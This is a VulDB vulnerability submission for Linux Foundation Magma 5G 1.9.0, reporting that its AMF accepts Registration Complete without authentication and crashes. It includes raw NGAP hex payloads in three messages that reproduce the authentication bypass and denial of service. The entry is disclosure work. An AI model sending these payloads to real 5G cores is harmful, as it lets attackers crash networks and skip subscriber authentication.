| Title | Linux Foundation Projects Magma 5G 1.9.0 Improper Authentication |
|---|
| Description | AMF accepts Registration Complete message after InitialUEMessage and the state is transitioned to REGISTERED_CONNECTED. This attempt to transition crashes the app as well.
To Reproduce
Start Magma Core with 5G support enabled and default configuration
Send the following NGAP messages sequentially
NGSetupRequest:
00 15 00 38 00 00 06 00 1b 00 08 00 00 f1 10 00 00 06 6c 00 52 40 05 01 00 52 41 4e 00 66 00 0d 00 00 00 00 07 00 00 f1 10 00 00 00 08 00 15 40 01 20 00 93 40 01 00 00 cc 40 01 00
InitialUEMessage:
00 0f 40 45 00 00 05 00 55 00 02 00 01 00 26 00 1b 1a 7e 00 41 79 00 0d 01 00 f1 10 00 00 00 00 00 00 00 00 10 2e 02 f0 80 10 01 00 00 79 00 0f 40 00 f1 10 00 00 00 00 00 00 f1 10 00 00 07 00 5a 40 01 18 00 70 40 01 00
UplinkNASTransport (Registration Complete):
00 2e 40 31 00 00 04 00 0a 00 02 00 16 00 55 00 02 00 01 00 26 00 0b 0a 7e 02 00 00 00 00 00 7e 00 43 00 79 40 0f 40 00 f1 10 00 00 00 00 00 00 f1 10 00 00 07
Impact
Incorrect State transition: Without authentication and security mode establishment, the gmm state is transitioned to REGISTERED.
Denial of Service: MME crashes and can cause denial of service
Authentication bypass: Due to the authentication bypassed, unexpected behavior may occur, no security context is established.
This issue was discovered several months ago. After chatting with the developer we decided to publicly disclose it and they will attempt to fix the issue. |
|---|
| Source | ⚠️ https://github.com/magma/magma/issues/16020 |
|---|
| User | shovon0203 (UID 96191) |
|---|
| Submission | 07/15/2026 06:41 (2 months ago) |
|---|
| Moderation | 08/29/2026 20:44 (2 months later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 397063 [Linux Foundation Magma 1.9.0 Registration Complete Message tasks/amf/amf_fsm.cpp improper authentication] |
|---|
| Points | 20 |
|---|